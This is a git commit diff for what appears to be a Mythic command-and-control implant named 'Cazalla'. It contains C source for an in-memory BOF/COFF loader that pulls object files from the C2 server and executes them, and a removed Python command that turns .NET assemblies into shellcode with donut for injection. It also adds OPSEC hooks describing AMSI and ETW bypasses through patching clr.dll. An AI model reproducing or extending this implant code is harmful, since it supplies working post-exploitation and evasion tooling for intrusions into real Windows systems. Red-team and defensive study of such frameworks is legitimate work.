Bof and assemblies completed
This commit is contained in:
@@ -193,12 +193,6 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
|
||||
// But if called directly, we'll handle it here
|
||||
_wrn("inline_execute_assembly should be called via subtasks");
|
||||
if (analizadorTarea) liberarAnalizador(analizadorTarea);
|
||||
} else if (tarea == EXECUTE_ASSEMBLY_CMD) {
|
||||
_inf("===== PROCESSING EXECUTE_ASSEMBLY_CMD (0x%02X) =====", tarea);
|
||||
// This command is typically handled via subtasks in Python (inject_shellcode)
|
||||
// But if called directly, we'll handle it here
|
||||
_wrn("execute_assembly should be called via subtasks");
|
||||
if (analizadorTarea) liberarAnalizador(analizadorTarea);
|
||||
} else {
|
||||
_wrn("Tarea desconocida: 0x%02x", tarea);
|
||||
_wrn("Tarea %u: Comando desconocido, liberando recursos", i+1);
|
||||
|
||||
@@ -67,7 +67,6 @@
|
||||
/* BOF and Assembly execution commands */
|
||||
#define INLINE_EXECUTE_CMD 0x70
|
||||
#define INLINE_EXECUTE_ASSEMBLY_CMD 0x71
|
||||
#define EXECUTE_ASSEMBLY_CMD 0x72
|
||||
|
||||
/* Extension marker to carry SOCKS array in binary messages */
|
||||
#define SOCKS_BLOCK_MARKER 0xF5
|
||||
|
||||
@@ -35,7 +35,6 @@ static DWORD WINAPI BOFExecutionThread(LPVOID lpParam) {
|
||||
return 1;
|
||||
}
|
||||
|
||||
_inf("[BOFExecutionThread] Iniciando ejecución de BOF en thread separado");
|
||||
threadArgs->completed = FALSE;
|
||||
threadArgs->success = FALSE;
|
||||
|
||||
@@ -45,7 +44,6 @@ static DWORD WINAPI BOFExecutionThread(LPVOID lpParam) {
|
||||
|
||||
threadArgs->success = result;
|
||||
threadArgs->completed = TRUE;
|
||||
_inf("[BOFExecutionThread] BOF ejecutado, success=%d", result);
|
||||
|
||||
return result ? 0 : 1;
|
||||
}
|
||||
@@ -75,8 +73,6 @@ void BeaconPrintf(int type, char* fmt, ...) {
|
||||
beacon_output_size += length;
|
||||
beacon_output_offset += length;
|
||||
va_end(args);
|
||||
|
||||
_inf("[BeaconPrintf] Output capturado: %d bytes, total buffer: %d bytes", length, beacon_output_size);
|
||||
}
|
||||
|
||||
// BeaconOutput - Capture raw output from BOFs
|
||||
@@ -94,8 +90,6 @@ void BeaconOutput(int type, char* data, int len) {
|
||||
memcpy(beacon_output_buffer + beacon_output_offset, data, len);
|
||||
beacon_output_size += len;
|
||||
beacon_output_offset += len;
|
||||
|
||||
_inf("[BeaconOutput] Output capturado: %d bytes, total buffer: %d bytes", len, beacon_output_size);
|
||||
}
|
||||
|
||||
// BeaconGetOutputData - Get captured output (caller must free)
|
||||
@@ -185,7 +179,6 @@ BOOL BeaconIsAdmin(void) {
|
||||
DWORD GetFileBytesFromMythic(PCHAR taskUuid, PCHAR fileId, PBOF_UPLOAD bof) {
|
||||
#define CHUNK_SIZE 512000 // 512 KB
|
||||
|
||||
_inf("[inline_execute] Obteniendo archivo BOF de Mythic: %.*s", 36, fileId);
|
||||
|
||||
DWORD status = 0;
|
||||
PBYTE dataBuffer = NULL;
|
||||
@@ -330,7 +323,6 @@ DWORD GetFileBytesFromMythic(PCHAR taskUuid, PCHAR fileId, PBOF_UPLOAD bof) {
|
||||
bof->size = totalBytesRead;
|
||||
bof->totalChunks = totalChunks;
|
||||
|
||||
_inf("[inline_execute] Archivo BOF obtenido: %zu bytes, %u chunks", totalBytesRead, totalChunks);
|
||||
return 0;
|
||||
|
||||
cleanup:
|
||||
@@ -500,12 +492,9 @@ static BOOL ExecuteEntry(COFF_t* COFF, char* func, char* args, unsigned long arg
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
_inf("[ExecuteEntry] Buscando entry point '%s' en %u símbolos", func, COFF->FileHeader->NumberOfSymbols);
|
||||
for (UINT32 counter = 0; counter < COFF->FileHeader->NumberOfSymbols; counter++) {
|
||||
if (strcmp(COFF->SymbolTable[counter].first.Name, func) == 0) {
|
||||
foo = (void(*)(char*, UINT32))((char*)COFF->RawTextData + COFF->SymbolTable[counter].Value);
|
||||
_inf("[ExecuteEntry] Entry point '%s' encontrado en símbolo %u: 0x%p (offset=%u)",
|
||||
func, counter, foo, COFF->SymbolTable[counter].Value);
|
||||
break;
|
||||
}
|
||||
}
|
||||
@@ -516,12 +505,7 @@ static BOOL ExecuteEntry(COFF_t* COFF, char* func, char* args, unsigned long arg
|
||||
}
|
||||
|
||||
// Execute the BOF
|
||||
// Execute the BOF
|
||||
// Note: If the BOF crashes, the agent will crash too since we can't use SEH with GCC
|
||||
// The BOF should handle its own errors gracefully
|
||||
_inf("[ExecuteEntry] Ejecutando entry point '%s'...", func);
|
||||
foo((char*)args, (UINT32)argSize);
|
||||
_inf("[ExecuteEntry] Entry point '%s' completado", func);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
@@ -639,7 +623,6 @@ BOOL RunCOFF(char* FileData, DWORD* DataSize, char* EntryName, char* argumentdat
|
||||
}
|
||||
|
||||
// Execute the BOF
|
||||
_inf("[RunCOFF] Preparando ejecución de entry point '%s' con argumentos: data=%p, size=%lu", EntryName, argumentdata, argumentsize);
|
||||
if (!ExecuteEntry(&COFF, EntryName, argumentdata, argumentsize)) {
|
||||
_err("[RunCOFF] Error ejecutando entry point '%s'", EntryName);
|
||||
// Cleanup
|
||||
@@ -652,7 +635,6 @@ BOOL RunCOFF(char* FileData, DWORD* DataSize, char* EntryName, char* argumentdat
|
||||
if (functionMapping) VirtualFree(functionMapping, 0, MEM_RELEASE);
|
||||
return FALSE;
|
||||
}
|
||||
_inf("[RunCOFF] Entry point '%s' ejecutado exitosamente", EntryName);
|
||||
|
||||
// Cleanup
|
||||
for (BYTE i = 0; i < COFF.FileHeader->NumberOfSections; i++) {
|
||||
@@ -709,12 +691,9 @@ static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuff
|
||||
if (!argsJson || argsJsonLen == 0) {
|
||||
*outBuffer = NULL;
|
||||
*outSize = 0;
|
||||
_inf("[ParseBOFArguments] No arguments provided");
|
||||
return TRUE; // No arguments is valid
|
||||
}
|
||||
|
||||
_inf("[ParseBOFArguments] Parsing JSON arguments: %.*s", (int)argsJsonLen, argsJson);
|
||||
|
||||
// Check for empty array []
|
||||
PCHAR p = argsJson;
|
||||
PCHAR end = argsJson + argsJsonLen;
|
||||
@@ -726,7 +705,6 @@ static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuff
|
||||
// Empty array
|
||||
*outBuffer = NULL;
|
||||
*outSize = 0;
|
||||
_inf("[ParseBOFArguments] Empty array, no arguments");
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
@@ -841,20 +819,16 @@ static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuff
|
||||
}
|
||||
memcpy(buffer + offset, &val, 2);
|
||||
offset += 2;
|
||||
_inf("[ParseBOFArguments] Packed int16: %d", val);
|
||||
} else if (strcmp(typeBuf, "int32") == 0) {
|
||||
INT32 val = 0;
|
||||
// Handle boolean values (true/false) and numeric values
|
||||
// First check for unquoted boolean literals
|
||||
if (valueLen >= 4 && (strncmp(valueStart, "true", 4) == 0 || strncmp(valueStart, "True", 4) == 0)) {
|
||||
val = 1;
|
||||
_inf("[ParseBOFArguments] Detected boolean 'true' -> 1");
|
||||
} else if (valueLen >= 5 && (strncmp(valueStart, "false", 5) == 0 || strncmp(valueStart, "False", 5) == 0)) {
|
||||
val = 0;
|
||||
_inf("[ParseBOFArguments] Detected boolean 'false' -> 0");
|
||||
} else {
|
||||
val = (INT32)atoi(valueStart);
|
||||
_inf("[ParseBOFArguments] Parsed numeric value: %d", val);
|
||||
}
|
||||
if (offset + 4 > bufferSize) {
|
||||
LocalFree(buffer);
|
||||
@@ -862,7 +836,6 @@ static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuff
|
||||
}
|
||||
memcpy(buffer + offset, &val, 4);
|
||||
offset += 4;
|
||||
_inf("[ParseBOFArguments] Packed int32: %d (from '%.*s', len=%zu)", val, (int)valueLen, valueStart, valueLen);
|
||||
} else if (strcmp(typeBuf, "string") == 0) {
|
||||
if (offset + 4 + valueLen + 1 > bufferSize) {
|
||||
LocalFree(buffer);
|
||||
@@ -874,7 +847,6 @@ static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuff
|
||||
memcpy(buffer + offset, valueStart, valueLen);
|
||||
offset += valueLen;
|
||||
buffer[offset++] = '\0';
|
||||
_inf("[ParseBOFArguments] Packed string: %.*s (len=%u)", (int)valueLen, valueStart, len);
|
||||
} else if (strcmp(typeBuf, "wchar") == 0) {
|
||||
// Convert to wide string (UTF-16)
|
||||
SIZE_T wcharLen = (valueLen + 1) * 2; // Each char becomes 2 bytes
|
||||
@@ -894,7 +866,6 @@ static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuff
|
||||
WCHAR nullTerm = 0;
|
||||
memcpy(buffer + offset, &nullTerm, 2);
|
||||
offset += 2;
|
||||
_inf("[ParseBOFArguments] Packed wchar: %.*s (len=%u)", (int)valueLen, valueStart, len);
|
||||
} else if (strcmp(typeBuf, "base64") == 0) {
|
||||
// Decode base64
|
||||
char* b64Str = (char*)LocalAlloc(LPTR, valueLen + 1);
|
||||
@@ -935,7 +906,6 @@ static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuff
|
||||
|
||||
LocalFree(b64Str);
|
||||
LocalFree(decoded);
|
||||
_inf("[ParseBOFArguments] Packed base64: %zu bytes", decodedLen);
|
||||
} else if (strcmp(typeBuf, "bytes") == 0) {
|
||||
// Convert hex string to bytes
|
||||
PBYTE bytes = NULL;
|
||||
@@ -965,7 +935,6 @@ static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuff
|
||||
offset += bytesLen;
|
||||
|
||||
LocalFree(bytes);
|
||||
_inf("[ParseBOFArguments] Packed bytes: %zu bytes", bytesLen);
|
||||
} else {
|
||||
// Unknown type - skip or error?
|
||||
_wrn("[ParseBOFArguments] Unknown argument type: %s", typeBuf);
|
||||
@@ -984,7 +953,6 @@ static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuff
|
||||
buffer = NULL;
|
||||
}
|
||||
|
||||
_inf("[ParseBOFArguments] Total packed size: %zu bytes", offset);
|
||||
*outBuffer = buffer;
|
||||
*outSize = offset;
|
||||
return TRUE;
|
||||
@@ -994,7 +962,6 @@ static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuff
|
||||
* InlineExecuteHandler - Main handler for inline_execute command
|
||||
*/
|
||||
VOID InlineExecuteHandler(PAnalizador argumentos) {
|
||||
_inf("===== InlineExecuteHandler INICIO =====");
|
||||
|
||||
// Read task UUID
|
||||
SIZE_T uuidLen = 36;
|
||||
@@ -1018,8 +985,6 @@ VOID InlineExecuteHandler(PAnalizador argumentos) {
|
||||
SIZE_T argsLen = 0;
|
||||
PBYTE argsBuffer = getBytes(argumentos, &argsLen);
|
||||
|
||||
_inf("InlineExecuteHandler: taskUuid=%.*s, fileId=%.*s, argsLen=%zu",
|
||||
36, taskUuid, (int)fileIdLen, fileId, argsLen);
|
||||
|
||||
// Create response package
|
||||
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||
@@ -1054,9 +1019,7 @@ VOID InlineExecuteHandler(PAnalizador argumentos) {
|
||||
PBYTE bofArgs = NULL;
|
||||
SIZE_T bofArgsSize = 0;
|
||||
if (argsBuffer && argsLen > 0) {
|
||||
_inf("[inline_execute] Argumentos recibidos del translator: size=%zu bytes", argsLen);
|
||||
|
||||
// The buffer from translator already has the format from Packer: [size:4 bytes LE][data]
|
||||
// The buffer from translator already has the format from Packer: [size:4 bytes LE][data]
|
||||
// We just need to replace the first 4 bytes with the total size
|
||||
bofArgs = argsBuffer; // Use the buffer directly
|
||||
bofArgsSize = argsLen;
|
||||
@@ -1064,9 +1027,7 @@ VOID InlineExecuteHandler(PAnalizador argumentos) {
|
||||
// Replace first 4 bytes with total size (including the 4-byte header)
|
||||
UINT32 totalSize = (UINT32)bofArgsSize;
|
||||
memcpy(bofArgs, &totalSize, 4);
|
||||
_inf("[inline_execute] Buffer preparado: total_size=%u, buffer_size=%zu", totalSize, bofArgsSize);
|
||||
} else {
|
||||
_inf("[inline_execute] No hay argumentos");
|
||||
bofArgs = NULL;
|
||||
bofArgsSize = 0;
|
||||
if (argsBuffer) {
|
||||
@@ -1082,53 +1043,9 @@ VOID InlineExecuteHandler(PAnalizador argumentos) {
|
||||
}
|
||||
beacon_output_size = 0;
|
||||
beacon_output_offset = 0;
|
||||
_inf("[inline_execute] Buffer de output limpiado antes de ejecutar BOF");
|
||||
|
||||
// Execute the BOF
|
||||
DWORD fileSize = (DWORD)bof.size;
|
||||
_inf("[inline_execute] Ejecutando BOF: size=%lu bytes, entry=go", fileSize);
|
||||
_inf("[inline_execute] Argumentos para BOF: size=%zu bytes, ptr=%p", bofArgsSize, bofArgs);
|
||||
|
||||
// Log argument structure for debugging (first 100 bytes)
|
||||
if (bofArgs && bofArgsSize > 0) {
|
||||
int logBytes = (bofArgsSize > 100) ? 100 : bofArgsSize;
|
||||
// Log only summary of arguments (reduced verbosity to prevent log blocking)
|
||||
if (bofArgsSize >= 4) {
|
||||
UINT32* ptr = (UINT32*)bofArgs;
|
||||
SIZE_T offset = 4;
|
||||
if (offset + 4 <= bofArgsSize) {
|
||||
UINT32 bytesLen = ptr[1];
|
||||
offset += 4 + bytesLen;
|
||||
if (offset + 4 <= bofArgsSize) {
|
||||
UINT32 assemblyLen = *(UINT32*)((PBYTE)bofArgs + offset);
|
||||
offset += 4;
|
||||
if (offset + 4 <= bofArgsSize) {
|
||||
UINT32 wcharLen = *(UINT32*)((PBYTE)bofArgs + offset);
|
||||
offset += 4 + wcharLen;
|
||||
if (offset + 4 <= bofArgsSize) {
|
||||
INT32 patchExit = *(INT32*)((PBYTE)bofArgs + offset);
|
||||
offset += 4;
|
||||
if (offset + 4 <= bofArgsSize) {
|
||||
INT32 amsi = *(INT32*)((PBYTE)bofArgs + offset);
|
||||
offset += 4;
|
||||
if (offset + 4 <= bofArgsSize) {
|
||||
INT32 etw = *(INT32*)((PBYTE)bofArgs + offset);
|
||||
_inf("[inline_execute] Args: bytes=%u, assembly=%u, wchar=%u, patch_exit=%d, amsi=%d, etw=%d",
|
||||
bytesLen, assemblyLen, wcharLen, patchExit, amsi, etw);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Execute the BOF in a separate thread to prevent agent blocking
|
||||
// This allows the agent to continue even if the BOF hangs or crashes
|
||||
_inf("[inline_execute] === EJECUTANDO BOF EN THREAD SEPARADO ===");
|
||||
_inf("[inline_execute] BOF: buffer=%p, size=%lu, args=%p, argsSize=%zu",
|
||||
bof.buffer, fileSize, bofArgs, bofArgsSize);
|
||||
|
||||
// Prepare thread arguments
|
||||
BOF_THREAD_ARGS threadArgs = {0};
|
||||
@@ -1157,26 +1074,17 @@ VOID InlineExecuteHandler(PAnalizador argumentos) {
|
||||
|
||||
// Wait for BOF execution with timeout (30 seconds)
|
||||
DWORD timeoutMs = 30000; // 30 seconds
|
||||
_inf("[inline_execute] Esperando ejecución del BOF (timeout=%lu ms)...", timeoutMs);
|
||||
DWORD waitResult = WaitForSingleObject(hThread, timeoutMs);
|
||||
_inf("[inline_execute] WaitForSingleObject retornó: %lu (WAIT_OBJECT_0=%d, WAIT_TIMEOUT=%d)",
|
||||
waitResult, WAIT_OBJECT_0, WAIT_TIMEOUT);
|
||||
|
||||
BOOL bofSuccess = FALSE;
|
||||
if (waitResult == WAIT_OBJECT_0) {
|
||||
// Thread completed
|
||||
_inf("[inline_execute] Thread del BOF completó exitosamente");
|
||||
bofSuccess = threadArgs.success;
|
||||
_inf("[inline_execute] threadArgs.success=%d, threadArgs.completed=%d",
|
||||
threadArgs.success, threadArgs.completed);
|
||||
} else if (waitResult == WAIT_TIMEOUT) {
|
||||
// Thread timed out - BOF is hanging
|
||||
_err("[inline_execute] BOF se colgó (timeout después de %lu ms)", timeoutMs);
|
||||
_inf("[inline_execute] Intentando terminar thread colgado...");
|
||||
// Try to terminate the thread (not ideal, but necessary to unblock agent)
|
||||
if (TerminateThread(hThread, 1)) {
|
||||
_inf("[inline_execute] Thread terminado exitosamente");
|
||||
} else {
|
||||
if (!TerminateThread(hThread, 1)) {
|
||||
_err("[inline_execute] Error terminando thread (error: %lu)", GetLastError());
|
||||
}
|
||||
PackageAddFormatPrintf(salida, FALSE, "[inline_execute] WARNING: BOF se colgó después de %lu segundos\n", timeoutMs / 1000);
|
||||
|
||||
@@ -1,220 +0,0 @@
|
||||
from mythic_container.MythicCommandBase import *
|
||||
from mythic_container.MythicRPC import *
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
import tempfile
|
||||
|
||||
logging.basicConfig(level=logging.INFO)
|
||||
|
||||
|
||||
class ExecuteAssemblyArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = [
|
||||
CommandParameter(
|
||||
name="assembly_name",
|
||||
cli_name="Assembly",
|
||||
display_name="Assembly",
|
||||
type=ParameterType.ChooseOne,
|
||||
dynamic_query_function=self.get_files,
|
||||
description="Already existing .NET assembly to execute (e.g. SharpUp.exe)",
|
||||
parameter_group_info=[
|
||||
ParameterGroupInfo(
|
||||
required=True,
|
||||
group_name="Default",
|
||||
ui_position=1
|
||||
)
|
||||
]),
|
||||
CommandParameter(
|
||||
name="assembly_file",
|
||||
display_name="New Assembly",
|
||||
type=ParameterType.File,
|
||||
description="A new .NET assembly to execute. After uploading once, you can just supply the -Assembly parameter",
|
||||
parameter_group_info=[
|
||||
ParameterGroupInfo(
|
||||
required=True,
|
||||
group_name="New Assembly",
|
||||
ui_position=1,
|
||||
)
|
||||
]
|
||||
),
|
||||
CommandParameter(
|
||||
name="assembly_arguments",
|
||||
cli_name="Arguments",
|
||||
display_name="Arguments",
|
||||
type=ParameterType.String,
|
||||
description="Arguments to pass to the assembly.",
|
||||
default_value="",
|
||||
parameter_group_info=[
|
||||
ParameterGroupInfo(
|
||||
required=True, group_name="Default", ui_position=2,
|
||||
),
|
||||
ParameterGroupInfo(
|
||||
required=True, group_name="New Assembly", ui_position=2
|
||||
),
|
||||
],
|
||||
),
|
||||
]
|
||||
|
||||
async def get_files(self, callback: PTRPCDynamicQueryFunctionMessage) -> PTRPCDynamicQueryFunctionMessageResponse:
|
||||
response = PTRPCDynamicQueryFunctionMessageResponse()
|
||||
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
|
||||
CallbackID=callback.Callback,
|
||||
LimitByCallback=False,
|
||||
Filename="",
|
||||
))
|
||||
if file_resp.Success:
|
||||
file_names = []
|
||||
for f in file_resp.Files:
|
||||
if f.Filename not in file_names and f.Filename.endswith(".exe"):
|
||||
file_names.append(f.Filename)
|
||||
response.Success = True
|
||||
response.Choices = file_names
|
||||
return response
|
||||
else:
|
||||
await SendMythicRPCOperationEventLogCreate(MythicRPCOperationEventLogCreateMessage(
|
||||
CallbackId=callback.Callback,
|
||||
Message=f"Failed to get files: {file_resp.Error}",
|
||||
MessageLevel="warning"
|
||||
))
|
||||
response.Error = f"Failed to get files: {file_resp.Error}"
|
||||
return response
|
||||
|
||||
async def parse_arguments(self):
|
||||
if len(self.command_line) == 0:
|
||||
raise ValueError("Must supply arguments")
|
||||
raise ValueError("Must supply named arguments or use the modal")
|
||||
|
||||
class ExecuteAssemblyCommand(CommandBase):
|
||||
cmd = "execute_assembly"
|
||||
needs_admin = False
|
||||
help_cmd = "execute_assembly -File [Assembly Filename] [-Arguments [optional arguments]]"
|
||||
description = "Execute a .NET Assembly. Use an already uploaded assembly file or upload one with the command. (e.g., execute_assembly -File SharpUp.exe -Arguments \"audit\")"
|
||||
version = 1
|
||||
author = "@c0rnbread (adapted for Cazalla)"
|
||||
script_only = True
|
||||
attackmapping = []
|
||||
argument_class = ExecuteAssemblyArguments
|
||||
attributes = CommandAttributes(
|
||||
builtin=False,
|
||||
supported_os=[ SupportedOS.Windows ],
|
||||
suggested_command=False
|
||||
)
|
||||
|
||||
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||
response = PTTaskCreateTaskingMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
)
|
||||
|
||||
try:
|
||||
groupName = taskData.args.get_parameter_group_name()
|
||||
|
||||
if groupName == "New Assembly":
|
||||
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
|
||||
TaskID=taskData.Task.ID,
|
||||
AgentFileID=taskData.args.get_arg("assembly_file")
|
||||
))
|
||||
if file_resp.Success:
|
||||
if len(file_resp.Files) > 0:
|
||||
pass
|
||||
else:
|
||||
raise Exception("Failed to find that file")
|
||||
else:
|
||||
raise Exception("Error from Mythic trying to get file: " + str(file_resp.Error))
|
||||
|
||||
# Set display parameters
|
||||
response.DisplayParams = "-Assembly {} -Arguments {}".format(
|
||||
file_resp.Files[0].Filename,
|
||||
taskData.args.get_arg("assembly_arguments")
|
||||
)
|
||||
|
||||
taskData.args.add_arg("assembly_name", file_resp.Files[0].Filename)
|
||||
taskData.args.remove_arg("assembly_file")
|
||||
|
||||
elif groupName == "Default":
|
||||
# We're trying to find an already existing file and use that
|
||||
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
|
||||
TaskID=taskData.Task.ID,
|
||||
Filename=taskData.args.get_arg("assembly_name"),
|
||||
LimitByCallback=False,
|
||||
MaxResults=1
|
||||
))
|
||||
if file_resp.Success:
|
||||
if len(file_resp.Files) > 0:
|
||||
logging.info(f"Found existing Assembly with File ID : {file_resp.Files[0].AgentFileId}")
|
||||
|
||||
taskData.args.remove_arg("assembly_name") # Don't need this anymore
|
||||
|
||||
# Set display parameters
|
||||
response.DisplayParams = "-Assembly {} -Arguments {}".format(
|
||||
file_resp.Files[0].Filename,
|
||||
taskData.args.get_arg("assembly_arguments")
|
||||
)
|
||||
|
||||
elif len(file_resp.Files) == 0:
|
||||
raise Exception("Failed to find the named file. Have you uploaded it before? Did it get deleted?")
|
||||
else:
|
||||
raise Exception("Error from Mythic trying to search files:\n" + str(file_resp.Error))
|
||||
|
||||
# Get the file contents of the .NET assembly
|
||||
assembly_contents = await SendMythicRPCFileGetContent(
|
||||
MythicRPCFileGetContentMessage(AgentFileId=file_resp.Files[0].AgentFileId)
|
||||
)
|
||||
|
||||
# Try to import donut - required for execute_assembly
|
||||
try:
|
||||
import donut
|
||||
except ImportError:
|
||||
raise Exception("The 'donut' Python module is not installed. Please install it with: pip install donut-shellcode")
|
||||
|
||||
# Need a physical path for donut.create()
|
||||
fd, temppath = tempfile.mkstemp(suffix='.exe')
|
||||
logging.info(f"Writing Assembly Contents to temporary file \"{temppath}\"")
|
||||
with os.fdopen(fd, 'wb') as tmp:
|
||||
tmp.write(assembly_contents.Content)
|
||||
|
||||
# Bypass=None, ExitOption=exit process
|
||||
assembly_shellcode = donut.create(file=temppath, params=taskData.args.get_arg("assembly_arguments"), bypass=1, exit_opt=2)
|
||||
# Clean up temp file
|
||||
os.remove(temppath)
|
||||
|
||||
logging.info(f"Converted .NET into Shellcode {len(assembly_shellcode)} bytes")
|
||||
|
||||
# .NET shellcode stub in Mythic
|
||||
shellcode_file_resp = await SendMythicRPCFileCreate(
|
||||
MythicRPCFileCreateMessage(TaskID=taskData.Task.ID, FileContents=assembly_shellcode, DeleteAfterFetch=True)
|
||||
)
|
||||
|
||||
|
||||
if shellcode_file_resp.Success:
|
||||
shellcode_file_uuid = shellcode_file_resp.AgentFileId
|
||||
else:
|
||||
raise Exception("Failed to register execute_assembly binary: " + shellcode_file_resp.Error)
|
||||
|
||||
# Send subtask to inject shellcode
|
||||
# Note: This requires an inject_shellcode command to exist
|
||||
# For now, we'll just register the file and note that inject_shellcode needs to be implemented
|
||||
subtask = await SendMythicRPCTaskCreateSubtask(
|
||||
MythicRPCTaskCreateSubtaskMessage(
|
||||
taskData.Task.ID,
|
||||
CommandName="inject_shellcode",
|
||||
SubtaskCallbackFunction="coff_completion_callback",
|
||||
Params=json.dumps({
|
||||
"shellcode_file": shellcode_file_uuid,
|
||||
"method": "default"
|
||||
}),
|
||||
Token=taskData.Task.TokenID,
|
||||
)
|
||||
)
|
||||
|
||||
return response
|
||||
|
||||
except Exception as e:
|
||||
raise Exception("Error from Mythic: " + str(e))
|
||||
|
||||
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||
return resp
|
||||
|
||||
@@ -313,6 +313,67 @@ class InlineExecuteCommand(CommandBase):
|
||||
|
||||
return response
|
||||
|
||||
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
|
||||
"""
|
||||
OPSEC check before creating the task.
|
||||
Warns about BOF execution risks.
|
||||
"""
|
||||
message = "⚠️ OPSEC WARNING - BOF Execution Detected\n\n"
|
||||
message += "BOF (Beacon Object File) execution is monitored by:\n"
|
||||
message += " • EDR/XDR solutions (memory allocation monitoring)\n"
|
||||
message += " • API call monitoring (LoadLibraryA, GetProcAddress)\n"
|
||||
message += " • Memory scanning (executable page allocation)\n"
|
||||
message += " • Symbol resolution tracking\n\n"
|
||||
|
||||
message += "🔍 DETECTION MECHANISMS:\n"
|
||||
message += " • PAGE_EXECUTE_READWRITE memory allocation\n"
|
||||
message += " • External symbol resolution (LoadLibraryA/GetProcAddress)\n"
|
||||
message += " • COFF loader activity patterns\n"
|
||||
message += " • Beacon API function calls\n\n"
|
||||
|
||||
message += "💡 CONSIDERATIONS:\n"
|
||||
message += " • In-process execution reduces some detection vectors (no new process)\n"
|
||||
message += " • Better OPSEC than `shell` (no cmd.exe spawn)\n"
|
||||
message += " • Memory allocation may be scanned by EDR\n"
|
||||
message += " • API calls may be logged by security tools\n\n"
|
||||
|
||||
message += "⚠️ DETECTION RISK: MEDIUM\n"
|
||||
message += "Usually not immediately detected, but may be flagged by behavioral analysis.\n\n"
|
||||
message += "✅ This is a WARNING only - command will proceed.\n"
|
||||
message += "Ensure you understand the detection risks before continuing."
|
||||
|
||||
return PTTTaskOPSECPreTaskMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
OpsecPreBlocked=False, # Medium risk, don't block
|
||||
OpsecPreBypassRole="operator",
|
||||
OpsecPreMessage=message
|
||||
)
|
||||
|
||||
async def opsec_post(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPostTaskMessageResponse:
|
||||
"""
|
||||
OPSEC check after creating the task.
|
||||
Warns about artifacts that will be created.
|
||||
"""
|
||||
message = "⚠️ OPSEC POST-CHECK - BOF Execution Artifacts\n\n"
|
||||
message += "This task will create the following artifacts:\n"
|
||||
message += " • Process Create: BOF execution in current process\n"
|
||||
message += " • Memory Allocation: Executable memory pages (PAGE_EXECUTE_READWRITE)\n"
|
||||
message += " • API Calls: LoadLibraryA, GetProcAddress, symbol resolution\n\n"
|
||||
|
||||
message += "💡 ARTIFACT DETAILS:\n"
|
||||
message += " • Process Create artifact is logged in Mythic\n"
|
||||
message += " • Memory allocation may be detected by EDR memory scanning\n"
|
||||
message += " • API calls may be logged by security tools\n\n"
|
||||
|
||||
message += "✅ Review artifacts in the Artifacts tab after execution."
|
||||
|
||||
return PTTTaskOPSECPostTaskMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
OpsecPostMessage=message
|
||||
)
|
||||
|
||||
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||
return resp
|
||||
|
||||
@@ -269,6 +269,130 @@ class InlineExecuteAssemblyCommand(CommandBase):
|
||||
alias=True
|
||||
)
|
||||
|
||||
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
|
||||
"""
|
||||
OPSEC check before creating the task.
|
||||
Warns about .NET assembly execution risks, especially with bypass flags.
|
||||
"""
|
||||
# Check if bypass flags are enabled
|
||||
amsi_enabled = taskData.args.get_arg("amsi") or False
|
||||
etw_enabled = taskData.args.get_arg("etw") or False
|
||||
patch_exit_enabled = taskData.args.get_arg("patch_exit") or False
|
||||
|
||||
blocked = False
|
||||
message = "⚠️ OPSEC WARNING - .NET Assembly In-Process Execution Detected\n\n"
|
||||
|
||||
message += ".NET assembly execution is monitored by:\n"
|
||||
message += " • EDR/XDR solutions (CLR loading detection)\n"
|
||||
message += " • AMSI (Anti-Malware Scan Interface)\n"
|
||||
message += " • ETW (Event Tracing for Windows)\n"
|
||||
message += " • Memory scanning (executable page allocation)\n"
|
||||
message += " • Behavioral analysis engines\n\n"
|
||||
|
||||
if amsi_enabled or etw_enabled:
|
||||
message += "🚨 HIGH RISK DETECTED - Bypass Flags Enabled\n\n"
|
||||
message += "⚠️ WARNING: You have enabled bypass flags that significantly increase detection risk:\n\n"
|
||||
|
||||
if amsi_enabled:
|
||||
message += " • --amsi: AMSI bypass by patching clr.dll\n"
|
||||
message += " - Patching clr.dll may trigger behavioral detections\n"
|
||||
message += " - More evasive than patching amsi.dll, but still detectable\n"
|
